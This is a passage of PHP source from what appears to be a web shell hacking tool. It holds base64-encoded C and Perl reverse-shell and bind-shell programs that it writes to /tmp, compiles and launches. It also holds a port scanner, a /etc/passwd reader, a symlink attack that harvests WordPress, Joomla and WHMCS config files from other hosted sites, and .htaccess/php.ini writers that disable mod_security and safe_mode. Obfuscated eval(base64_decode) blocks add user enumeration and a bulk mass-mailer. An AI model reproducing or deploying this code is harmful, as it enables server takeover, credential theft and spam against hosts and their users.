1359 echo '<th>'.$key.'</th>';
1360 reset($item);
1361 $title=true;
1362 echo '</tr><tr>';
1363 $line = 2;
1364 }
1365 echo '<tr class="l'.$line.'">';
1366 $line = $line==1?2:1;
1367 foreach($item as $key => $value) {
1368 if($value == null)
1369 echo '<td><i>null</i></td>';
1370 else
1371 echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
1372 }
1373 echo '</tr>';
1374 }
1375 echo '</table>';
1376 } else {
1377 echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
1378 }
1379 }
1380 echo "<br><textarea name='p3' style='width:100%;height:100px'>".@htmlspecialchars($_POST['p3'])."</textarea><br/><input type=submit value='Execute'>";
1381 echo "</td></tr>";
1382 }
1383 echo "</table></form><br/><form onsubmit='document.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
1384 if(@$_POST['p1'] == 'loadfile') {
1385 $db->query("SELECT LOAD_FILE('".addslashes($_POST['p2'])."') as file");
1386 $file = $db->fetch();
1387 echo '<pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
1388 }
1389 }
1390 echo '</div>';
1391 printFooter();
1392}
1393
1394function actionNetwork() {
1395 printHeader();
1396 $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pIHsNCiAgICBpbnQgZmQ7DQogICAgc3RydWN0IHNvY2thZGRyX2luIHNpbjsNCiAgICBkYWVtb24oMSwwKTsNCiAgICBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJdKSk7DQogICAgc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsNCiAgICBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsNCiAgICBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICAgICAgIHBlcnJvcigiQ29ubmVjdCBmYWlsIik7DQogICAgICAgIHJldHVybiAwOw0KICAgIH0NCiAgICBkdXAyKGZkLCAwKTsNCiAgICBkdXAyKGZkLCAxKTsNCiAgICBkdXAyKGZkLCAyKTsNCiAgICBzeXN0ZW0oIi9iaW4vc2ggLWkiKTsNCiAgICBjbG9zZShmZCk7DQp9";
1397 $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
1398 $bind_port_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxzdGRsaWIuaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICoqYXJndikgew0KICAgIGludCBzLGMsaTsNCiAgICBjaGFyIHBbMzBdOw0KICAgIHN0cnVjdCBzb2NrYWRkcl9pbiByOw0KICAgIGRhZW1vbigxLDApOw0KICAgIHMgPSBzb2NrZXQoQUZfSU5FVCxTT0NLX1NUUkVBTSwwKTsNCiAgICBpZighcykgcmV0dXJuIC0xOw0KICAgIHIuc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgci5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsxXSkpOw0KICAgIHIuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7DQogICAgYmluZChzLCAoc3RydWN0IHNvY2thZGRyICopJnIsIDB4MTApOw0KICAgIGxpc3RlbihzLCA1KTsNCiAgICB3aGlsZSgxKSB7DQogICAgICAgIGM9YWNjZXB0KHMsMCwwKTsNCiAgICAgICAgZHVwMihjLDApOw0KICAgICAgICBkdXAyKGMsMSk7DQogICAgICAgIGR1cDIoYywyKTsNCiAgICAgICAgd3JpdGUoYywiUGFzc3dvcmQ6Iiw5KTsNCiAgICAgICAgcmVhZChjLHAsc2l6ZW9mKHApKTsNCiAgICAgICAgZm9yKGk9MDtpPHN0cmxlbihwKTtpKyspDQogICAgICAgICAgICBpZiggKHBbaV0gPT0gJ1xuJykgfHwgKHBbaV0gPT0gJ1xyJykgKQ0KICAgICAgICAgICAgICAgIHBbaV0gPSAnXDAnOw0KICAgICAgICBpZiAoc3RyY21wKGFyZ3ZbMl0scCkgPT0gMCkNCiAgICAgICAgICAgIHN5c3RlbSgiL2Jpbi9zaCAtaSIpOw0KICAgICAgICBjbG9zZShjKTsNCiAgICB9DQp9";
1399 $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
1400
1401 echo '<h1>Network tools</h1><div class=content>
1402 <form name=\'nfp\' onSubmit="g(null,null,this.using.value,this.port.value,this.pass.value);return false;">
1403 <br /><span>Bind port to /bin/sh</span><br/>
1404 Port: <input type=\'text\' name=\'port\' value=\'443\'> Password: <input type=\'text\' name=\'pass\' value=\'Dr.web\'> Using: <select name="using"><option value=\'bpc\'>C</option><option value=\'bpp\'>Perl</option></select> <input type=submit value=">>">
1405 </form>
1406 <form name=\'nfp\' onSubmit="g(null,null,this.using.value,this.server.value,this.port.value);return false;">
1407 <br /><br /><span>Back-connect to</span><br/>
1408 Server: <input type=\'text\' name=\'server\' value="'.$_SERVER['REMOTE_ADDR'].'"> Port: <input type=\'text\' name=\'port\' value=\'443\'> Using: <select name="using"><option value=\'bcc\'>C</option><option value=\'bcp\'>Perl</option></select> <input type=submit value=">>">
1409 </form><br>';
1410 if(isset($_POST['p1'])) {
1411 function cf($f,$t) {
1412 $w=@fopen($f,"w") or @function_exists('file_put_contents');
1413 if($w) {
1414 @fwrite($w,@base64_decode($t)) or @fputs($w,@base64_decode($t)) or @file_put_contents($f,@base64_decode($t));
1415 @fclose($w);
1416 }
1417 }
1418 if($_POST['p1'] == 'bpc') {
1419 cf("/tmp/bp.c",$bind_port_c);
1420 $out = ex("gcc -o /tmp/bp /tmp/bp.c");
1421 @unlink("/tmp/bp.c");
1422 $out .= ex("/tmp/bp ".$_POST['p2']." ".$_POST['p3']." &");
1423 echo "<pre class=ml1>$out\n".ex("ps aux | grep bp")."</pre>";
1424 }
1425 if($_POST['p1'] == 'bpp') {
1426 cf("/tmp/bp.pl",$bind_port_p);
1427 $out = ex(which("perl")." /tmp/bp.pl ".$_POST['p2']." &");
1428 echo "<pre class=ml1>$out\n".ex("ps aux | grep bp.pl")."</pre>";
1429 }
1430 if($_POST['p1'] == 'bcc') {
1431 cf("/tmp/bc.c",$back_connect_c);
1432 $out = ex("gcc -o /tmp/bc /tmp/bc.c");
1433 @unlink("/tmp/bc.c");
1434 $out .= ex("/tmp/bc ".$_POST['p2']." ".$_POST['p3']." &");
1435 echo "<pre class=ml1>$out\n".ex("ps aux | grep bc")."</pre>";
1436 }
1437 if($_POST['p1'] == 'bcp') {
1438 cf("/tmp/bc.pl",$back_connect_p);
1439 $out = ex(which("perl")." /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." &");
1440 echo "<pre class=ml1>$out\n".ex("ps aux | grep bc.pl")."</pre>";
1441 }
1442 }
1443 echo '</div>';
1444 printFooter();
1445}
1446
1447function actionPortScanner() {
1448 printHeader();
1449 echo '<h1>Port Scanner</h1>';
1450 echo '<div class="content">';
1451 echo '<form action="" method="post">';
1452
1453 if(isset($_POST['host']) && is_numeric($_POST['end']) && is_numeric($_POST['start'])){
1454 $start = strip_tags($_POST['start']);
1455 $end = strip_tags($_POST['end']);
1456 $host = strip_tags($_POST['host']);
1457 for($i = $start; $i<=$end; $i++){
1458 $fp = @fsockopen($host, $i, $errno, $errstr, 3);
1459 if($fp){
1460 echo 'Port '.$i.' is <font color=green>open</font><br>';
1461 }
1462 flush();
1463 }
1464 } else {
1465 echo '<br /><br /><center><input type="hidden" name="a" value="PortScanner"><input type="hidden" name=p1><input type="hidden" name="p2">
1466 <input type="hidden" name="c" value="'.htmlspecialchars($GLOBALS['cwd']).'">
1467 <input type="hidden" name="charset" value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
1468 Host: <input type="text" name="host" value="localhost"/><br /><br />
1469 Port start: <input type="text" name="start" value="0"/><br /><br />
1470 Port end:<input type="text" name="end" value="5000"/><br /><br />
1471 <input type="submit" value="Scan Ports" />
1472 </form></center><br /><br />';
1473 }
1474 echo '</div>';
1475 printFooter();
1476}
1477
1478function actionReadable() {
1479 printHeader();
1480 echo '<h1>Readable Dirs</h1>';
1481 echo '<div class="content">';
1482 $sm = ini_get('safe_mode');
1483 if($sm) {
1484 echo '<br /><b>Error: safe_mode = on</b><br /><br />';
1485 } else {
1486 @$passwd = fopen('/etc/passwd','r');
1487 if (!$passwd) {
1488 echo '<br /><b>[-] Error : coudn`t read /etc/passwd</b><br /><br />';
1489 } else {
1490 $pub = array();
1491 $users = array();
1492 $conf = array();
1493 $i = 0;
1494 while(!feof($passwd)) {
1495 $str = fgets($passwd);
1496 if ($i > 35) {
1497 $pos = strpos($str,':');
1498 $username = substr($str,0,$pos);
1499 $dirz = '/home/'.$username.'/public_html/';
1500 if (($username != '')) {
1501 if (is_readable($dirz)) {
1502 array_push($users,$username);
1503 array_push($pub,$dirz);
1504 }
1505 }
1506 }
1507 $i++;
1508 }
1509 echo '<br><br>';
1510 echo "[+] Founded ".sizeof($users)." entrys in /etc/passwd\n"."<br />";
1511 echo "[+] Founded ".sizeof($pub)." readable public_html directories\n"."<br /><br /><br />";
1512 foreach ($users as $user) {
1513 $path = "/home/$user/public_html/";
1514 echo $path."<br>";
1515 }
1516 echo "<br /><br /><br />[+] Complete...\n"."<br />";
1517 }
1518 }
1519 echo '</div>';
1520 printFooter();
1521}
1522
1523function actionSymlink() {
1524 printHeader();
1525 echo '<h1>Symlink</h1>';
1526 $furl = 'http://'.$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];
1527 $expld = explode('/',$furl );
1528 $burl =str_replace(end($expld),'',$furl);
1529
1530 echo '<div class="content"><center>
1531 <h3>[ <a href="#" onclick="g(\'symlink\',null,\'website\',null)">Domains</a> ] -
1532 [ <a href="#" onclick="g(\'symlink\',null,\'whole\',null)">Whole Server Symlink</a> ] -
1533 [ <a href="#" onclick="g(\'symlink\',null,\'config\',null)">Config files symlink</a> ]</h3></center>';
1534
1535 if(isset($_POST['p1']) && $_POST['p1']=='website')
1536 {
1537 echo "<center>";
1538 $d0mains = @file("/etc/named.conf");
1539 if(!$d0mains){
1540 echo "<pre class=ml1 style='margin-top:5px'>Cant access this file on server -> [ /etc/named.conf ]</pre></center>";
1541 } else {
1542 echo "<table align=center class='main' border=0 ><tr><th> Count </th><th> Domains </th><th> Users </th></tr>";
1543
1544 $unk = array();
1545 foreach($d0mains as $d0main){
1546 if(@eregi("zone",$d0main)){
1547 preg_match_all('#zone "(.*)"#', $d0main, $domains);
1548 flush();
1549 if(strlen(trim($domains[1][0])) > 2){
1550 $unk[] = $domains[1][0];
1551 flush();
1552
1553 }
1554 }
1555 }
1556 $count=1;
1557 $unk = array_unique($unk);
1558 $l=0;
1559 foreach($unk as $d){
1560 $user = posix_getpwuid(@fileowner("/etc/valiases/".$d));
1561 echo "<tr".($l?' class=l1':'')."><td>".$count."</td><td><a href=http://".$d."/>".$d."</a></td><td>".$user['name']."</td></tr>";
1562 flush();
1563 $count++;
1564 $l=$l?0:1;
1565 }
1566 echo "</table>";
1567 }
1568 echo "</center>";
1569 }
1570
1571 if(isset($_POST['p1']) && $_POST['p1']=='whole')
1572 {
1573 echo "<center>";
1574 @mkdir('sym',0777);
1575 $hdt = "Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
1576 $hfp =@fopen ('sym/.htaccess','w');
1577 fwrite($hfp ,$hdt);
1578 if(function_exists('symlink')) {
1579 @symlink('/','sym/root');
1580 }
1581 $d0mains = @file('/etc/named.conf');
1582 if(!$d0mains) {
1583 echo "<pre class=ml1 style='margin-top:5px'># Cant access this file on server -> [ /etc/named.conf ]</pre></center>";
1584 } else {
1585 echo "<table align='center' width='40%' class='main'><tr><th> Count </th><th> Domains </th><th> User </th><th> Symlink </th></tr>";
1586 $count=1;
1587 $mck = array();
1588 foreach($d0mains as $d0main){
1589 if(@eregi('zone',$d0main)){
1590 preg_match_all('#zone "(.*)"#',$d0main,$domain);
1591 flush();
1592 if(strlen(trim($domain[1][0])) >2){
1593 $mck[] = $domain[1][0];
1594 }
1595 }
1596 }
1597 $mck = array_unique($mck);
1598 $l=0;
1599 foreach($mck as $d) {
1600 $user = posix_getpwuid(@fileowner('/etc/valiases/'.$d));
1601 $ddt = $user['name'];
1602 //@symlink('/','sym/root');
1603 $ddt = $d;
1604 if(@eregi("\.ir",$d) or @eregi("\.il",$d)) {
1605 $ddt = "<div style=' color: #FF0000 ; text-shadow: 0px 0px 1px red; '>".$d.'</div>';
1606 }
1607 echo "<tr".($l?' class=l1':'')."><td>".$count++."</td><td><a target='_blank' href=http://".$d.'/>'.$ddt.' </a></td><td>'.$user['name']."</td><td><a href='sym/root/home/".$user['name']."/public_html' target='_blank'>symlink </a></td></tr>";
1608 flush();
1609 $l=$l?0:1;
1610 }
1611 echo '</table>';
1612 }
1613 echo "</center>";
1614 }
1615
1616 if(isset($_POST['p1']) && $_POST['p1']=='config')
1617 {
1618 echo "<center>";
1619 @mkdir('sym',0777);
1620 $hdt = "Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
1621 $hfp = @fopen ('sym/.htaccess','w');
1622 @fwrite($hfp ,$hdt);
1623 if(function_exists('symlink')) {
1624 @symlink('/','sym/root');
1625 }
1626 $d0mains = @file('/etc/named.conf');
1627 if(!$d0mains) {
1628 echo "<pre class=ml1 style='margin-top:5px'># Cant access this file on server -> [ /etc/named.conf ]</pre></center>";
1629 } else {
1630 echo "<table align='center' width='40%' class='main' ><tr><th> Count </th><th> Domains </th><th> Script </th></tr>";
1631 $count = 1;
1632 $l=0;
1633 foreach($d0mains as $d0main){
1634 if(@eregi('zone',$d0main)){
1635 preg_match_all('#zone "(.*)"#',$d0main,$domain);
1636 flush();
1637 if(strlen(trim($domain[1][0]))>2){
1638 $user = posix_getpwuid(@fileowner('/etc/valiases/'.$domain[1][0]));
1639
1640 $c1 = $burl.'/sym/root/home/'.$user['name'].'/public_html/wp-config.php';
1641 $ch01 = get_headers($c1);
1642 $cf01 = $ch01[0];
1643 $c2 = $burl.'/sym/root/home/'.$user['name'].'/public_html/blog/wp-config.php';
1644 $ch02 = get_headers($c2);
1645 $cf02 = $ch02[0];
1646 $c3 = $burl.'/sym/root/home/'.$user['name'].'/public_html/configuration.php';
1647 $ch03 = get_headers($c3);
1648 $cf03 = $ch03[0];
1649 $c4 = $burl.'/sym/root/home/'.$user['name'].'/public_html/joomla/configuration.php';
1650 $ch04 = get_headers($c4);
1651 $cf04 = $ch04[0];
1652 $c5 = $burl.'/sym/root/home/'.$user['name'].'/public_html/includes/config.php';
1653 $ch05 = get_headers($c5);
1654 $cf05 = $ch05[0];
1655 $c6 = $burl.'/sym/root/home/'.$user['name'].'/public_html/vb/includes/config.php';
1656 $ch06 = get_headers($c6);
1657 $cf06 = $ch06[0];
1658 $c7 = $burl.'/sym/root/home/'.$user['name'].'/public_html/forum/includes/config.php';
1659 $ch07 = get_headers($c7);
1660 $cf07 = $ch07[0];
1661 $c8 = $burl.'/sym/root/home/'.$user['name'].'public_html/clients/configuration.php';
1662 $ch08 = get_headers($c8);
1663 $cf08 = $ch08[0];
1664 $c9 = $burl.'/sym/root/home/'.$user['name'].'/public_html/support/configuration.php';
1665 $ch09 = get_headers($c9);
1666 $cf09 = $ch09[0];
1667 $c10 = $burl.'/sym/root/home/'.$user['name'].'/public_html/client/configuration.php';
1668 $ch10 = get_headers($c10);
1669 $cf10 = $ch10[0];
1670 $c11 = $burl.'/sym/root/home/'.$user['name'].'/public_html/submitticket.php';
1671 $ch11 = get_headers($c11);
1672 $cf11 = $ch11[0];
1673 $c12 = $burl.'/sym/root/home/'.$user['name'].'/public_html/client/configuration.php';
1674 $ch12 = get_headers($c12);
1675 $cf12 = $ch12[0];
1676 $c13 = $burl.'/sym/root/home/'.$user['name'].'/public_html/includes/configure.php';
1677 $ch13 = get_headers($c13);
1678 $cf13 = $ch13[0];
1679 $c14 = $burl.'/sym/root/home/'.$user['name'].'/public_html/include/app_config.php';
1680 $ch14 = get_headers($c14);
1681 $cf14 = $ch14[0];
1682 $c15 = $burl.'/sym/root/home/'.$user['name'].'/public_html/sites/default/settings.php';
1683 $ch15 = get_headers($c15);
1684 $cf15 = $ch15[0];
1685
1686 $out = ' ';
1687 if(strpos($cf01,'200') == true) { $out = "<a href='".$c1."' target='_blank'>Wordpress</a>"; }
1688 elseif(strpos($cf02,'200') == true) { $out = "<a href='".$c2."' target='_blank'>Wordpress</a>"; }
1689 elseif(strpos($cf03,'200') == true && strpos($cf11,'200') == true) { $out = " <a href='".$c11."' target='_blank'>WHMCS</a>"; }
1690 elseif(strpos($cf09,'200') == true) { $out = " <a href='".$c9."' target='_blank'>WHMCS</a>"; }
1691 elseif(strpos($cf10,'200') == true) { $out = " <a href='".$c10."' target='_blank'>WHMCS</a>"; }
1692 elseif(strpos($cf03,'200') == true) { $out = " <a href='".$c3."' target='_blank'>Joomla</a>"; }
1693 elseif(strpos($cf04,'200') == true) { $out = " <a href='".$c4."' target='_blank'>Joomla</a>"; }
1694 elseif(strpos($cf05,'200') == true) { $out = " <a href='".$c5."' target='_blank'>vBulletin</a>"; }
1695 elseif(strpos($cf06,'200') == true) { $out = " <a href='".$c6."' target='_blank'>vBulletin</a>"; }
1696 elseif(strpos($cf07,'200') == true) { $out = " <a href='".$c7."' target='_blank'>vBulletin</a>"; }
1697 elseif(strpos($cf08,'200') == true) { $out = " <a href='".$c7."' target='_blank'>Client Area</a>"; }
1698 elseif(strpos($cf12,'200') == true) { $out = " <a href='".$c7."' target='_blank'>Client Area</a>"; }
1699 elseif(strpos($cf13,'200') == true) { $out = " <a href='".$c7."' target='_blank'>osCommerce/Zen Cart</a>"; }
1700 elseif(strpos($cf14,'200') == true) { $out = " <a href='".$c7."' target='_blank'>Magento</a>"; }
1701 elseif(strpos($cf15,'200') == true) { $out = " <a href='".$c7."' target='_blank'>Drupal</a>"; }
1702 else {
1703 continue;
1704 }
1705 echo '<tr'.($l?' class=l1':'').'><td>'.$count++.'</td><td><a href=http://www.'.$domain[1][0].'/>'.$domain[1][0].'</a></td><td>'.$user['name'].'</td><td>'.$out.'</td></tr>';
1706 flush();
1707 $l=$l?0:1;
1708 }
1709 }
1710 }
1711 echo "</table>";
1712 }
1713 echo "</center>";
1714 }
1715 echo "</div>";
1716 printFooter();
1717}
1718
1719function actionBypass() {
1720 printHeader();
1721 echo '<h1>Safe Mode</h1>';
1722 echo '<div class="content">';
1723 echo "<div class=header><center><h3><span>| SAFE MODE AND MOD SECURITY DISABLED AND PERL 500 INTERNAL ERROR BYPASS |</span></h3>Following php.ini and .htaccess(mod) and perl(.htaccess)[convert perl extention *.pl => *.sh ] files create in following dir<br>| ".$GLOBALS['cwd']." |<br><br />";
1724 echo '<a href=# onclick="g(null,null,\'php.ini\',null)">| PHP.INI | </a><a href=# onclick="g(null,null,null,\'ini\')">| .htaccess(Mod) | </a><a href=# onclick="g(null,null,null,null,\'sh\')">| .htaccess(perl) | </a></center>';
1725 if(!empty($_POST['p2']) && isset($_POST['p2']))
1726 {
1727 $fil=fopen($GLOBALS['cwd'].".htaccess","w");
1728 fwrite($fil,'<IfModule mod_security.c>
1729 Sec------Engine Off
1730 Sec------ScanPOST Off
1731 </IfModule>');
1732 fclose($fil);
1733 }
1734 if(!empty($_POST['p1'])&& isset($_POST['p1']))
1735 {
1736 $fil=fopen($GLOBALS['cwd']."php.ini","w");
1737 fwrite($fil,'safe_mode=OFF
1738 disable_functions=NONE');
1739 fclose($fil);
1740 }
1741 if(!empty($_POST['p3']) && isset($_POST['p3']))
1742 {
1743 $fil=fopen($GLOBALS['cwd'].".htaccess","w");
1744 fwrite($fil,'Options FollowSymLinks MultiViews Indexes ExecCGI
1745 AddType application/x-httpd-cgi .sh
1746 AddHandler cgi-script .pl
1747 AddHandler cgi-script .pl');
1748 fclose($fil);
1749 }
1750 echo "<br><br /><br /></div>";
1751 echo '</div>';
1752 printFooter();
1753}
1754
1755function actionGetUser(){
1756 printHeader();
1757 echo '<h1>Get User</h1>';
1758 eval(base64_decode('JGkgPSAwOw0Kd2hpbGUgKCRpIDwgNjAwMDApIHsNCgkkbGluZSA9IHBvc2l4X2dldHB3dWlkKCRp
1759KTsNCglpZiAoIWVtcHR5KCRsaW5lKSkgew0KCQl3aGlsZSAobGlzdCAoJGtleSwgJHZsKSA9IGVh
1760Y2goJGxpbmUpKXsNCgkJCWVjaG8gIiR2bDwvYnI+IjsNCgkJCWJyZWFrOw0KCQl9DQoJfQ0KIAkk
1761aSsrOw0KfQ=='));
1762 printFooter();
1763}
1764
1765function actionMailer(){
1766 printHeader();
1767 echo '<h1>Mailer</h1>';
1768eval(base64_decode('Ly9Eb250IGNoYW5nZSBhbnl0aGluZyBmcm9tIGJlbG93CiRzZWN1cmUgPSAiIjsKZXJyb3JfcmVwb3J0aW5nKDApOwpAJGFjdGlvbj0kX1BPU1RbJ2FjdGlvbiddOwpAJGZyb209JF9QT1NUWydmcm9tJ107CkAkcmVhbG5hbWU9JF9QT1NUWydyZWFsbmFtZSddOwpAJHJlcGx5dG89JF9QT1NUWydyZXBseXRvJ107CkAkc3ViamVjdD0kX1BPU1RbJ3N1YmplY3QnXTsKQCRtZXNzYWdlPSRfUE9TVFsnbWVzc2FnZSddOwpAJGVtYWlsbGlzdD0kX1BPU1RbJ2VtYWlsbGlzdCddOwpAJGZpbGVfbmFtZT0kX0ZJTEVTWydmaWxlJ11bJ25hbWUnXTsKQCRjb250ZW50dHlwZT0kX1BPU1RbJ2NvbnRlbnR0eXBlJ107CkAkZmlsZT0kX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1lJ107CkAkYW1vdW50PSRfUE9TVFsnYW1vdW50J107CnNldF90aW1lX2xpbWl0KGludHZhbCgkX1BPU1RbJ3RpbWVsaW1pdCddKSk7Cj8+CjwhRE9DVFlQRSBodG1sIFBVQkxJQyAiLS8vVzNDLy9EVEQgWEhUTUwgMS4wIFRyYW5zaXRpb25hbC8vRU4iCiAgICJodHRwOi8vd3d3LnczLm9yZy9UUi94aHRtbDEvRFREL3hodG1sMS10cmFuc2l0aW9uYWwuZHRkIj4KPGh0bWw+CjxoZWFkPgo8dGl0bGU+ILBbTWFpTGVyIEJZIFRoZSBHZW4hdXNdsCA8L3RpdGxlPgo8cCBhbGlnbj0iY2VudGVyIj4KPHRpdGxlPiCwW01haUxlciBCWSBUaGUgR2VuIXVzXbAgPC90aXRsZT4KPC9wPgo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD13aW5kb3dzLTEyNTYiPgo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPgo8IS0tCi5zdHlsZTEgewoJZm9udC1mYW1pbHk6IEdlbmV2YSwgQXJpYWwsIEhlbHZldGljYSwgc2Fucy1zZXJpZjsKCWZvbnQtc2l6ZTogMTJweDsKfQouc3R5bGUyIHsKCWZvbnQtc2l6ZTogMTBweDsKCWZvbnQtZmFtaWx5OiBHZW5ldmEsIEFyaWFsLCBIZWx2ZXRpY2EsIHNhbnMtc2VyaWY7Cn0KCi0tPgo8L3N0eWxlPgo8L2hlYWQ+Cjxib2R5IGJnY29sb3I9IiNGNUY1RjUiIHRleHQ9IiMwMDAwMDAiPgoKPD9waHAKSWYgKCRhY3Rpb249PSJteXNxbCIpewovL0dyYWIgZW1haWwgYWRkcmVzc2VzIGZyb20gTXlTUUwKaW5jbHVkZSAiLi9teXNxbC5pbmZvLnBocCI7CgogIGlmICghJHNxbGhvc3QgfHwgISRzcWxsb2dpbiB8fCAhJHNxbHBhc3MgfHwgISRzcWxkYiB8fCAhJHNxbHF1ZXJ5KXsKICAgIHByaW50ICJQbGVhc2UgY29uZmlndXJlIG15c3FsLmluZm8ucGhwIHdpdGggeW91ciBNeVNRTCBpbmZvcm1hdGlvbi4gQWxsIHNldHRpbmdzIGluIHRoaXMgY29uZmlnIGZpbGUgYXJlIHJlcXVpcmVkLiI7CiAgICBleGl0OwogIH0KCiAgJGRiID0gbXlzcWxfY29ubmVjdCgkc3FsaG9zdCwgJHNxbGxvZ2luLCAkc3FscGFzcykgb3IgZGllKCJDb25uZWN0aW9uIHRvIE15U1FMIEZhaWxlZC4iKTsKICBteXNxbF9zZWxlY3RfZGIoJHNxbGRiLCAkZGIpIG9yIGRpZSgiQ291bGQgbm90IHNlbGVjdCBkYXRhYmFzZSAkc3FsZGIiKTsKICAkcmVzdWx0ID0gbXlzcWxfcXVlcnkoJHNxbHF1ZXJ5KSBvciBkaWUoIlF1ZXJ5IEZhaWxlZDogJHNxbHF1ZXJ5Iik7CiAgJG51bXJvd3MgPSBteXNxbF9udW1fcm93cygkcmVzdWx0KTsKCiAgZm9yKCR4PTA7ICR4PCRudW1yb3dzOyAkeCsrKXsKICAgICRyZXN1bHRfcm93ID0gbXlzcWxfZmV0Y2hfcm93KCRyZXN1bHQpOwogICAgICRvbmVlbWFpbCA9ICRyZXN1bHRfcm93WzBdOwogICAgICRlbWFpbGxpc3QgLj0gJG9uZWVtYWlsLiJcbiI7CiAgIH0KICB9CgogIGlmICgkYWN0aW9uPT0ic2VuZCIpeyAkbWVzc2FnZSA9IHVybGVuY29kZSgkbWVzc2FnZSk7CiAgICRtZXNzYWdlID0gZXJlZ19yZXBsYWNlKCIlNUMlMjIiLCAiJTIyIiwgJG1lc3NhZ2UpOwogICAkbWVzc2FnZSA9IHVybGRlY29kZSgkbWVzc2FnZSk7CiAgICRtZXNzYWdlID0gc3RyaXBzbGFzaGVzKCRtZXNzYWdlKTsKICAgJHN1YmplY3QgPSBzdHJpcHNsYXNoZXMoJHN1YmplY3QpOwogICB9Cj8+Cjxmb3JtIG5hbWU9ImZvcm0xIiBtZXRob2Q9InBvc3QiIGFjdGlvbj0iIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIj48YnIgLz4KICA8dGFibGUgd2lkdGg9IjE0MiIgYm9yZGVyPSIwIj4KICAgIDx0cj4KCiAgICAgIDx0ZCB3aWR0aD0iODEiPgogICAgICAgIDxkaXYgYWxpZ249InJpZ2h0Ij4KICAgICAgICAgIDxmb250IHNpemU9Ii0zIiBmYWNlPSJWZXJkYW5hLCBBcmlhbCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlmIj5Zb3VyIEVtYWlsOjwvZm9udD4KICAgICAgICA8L2R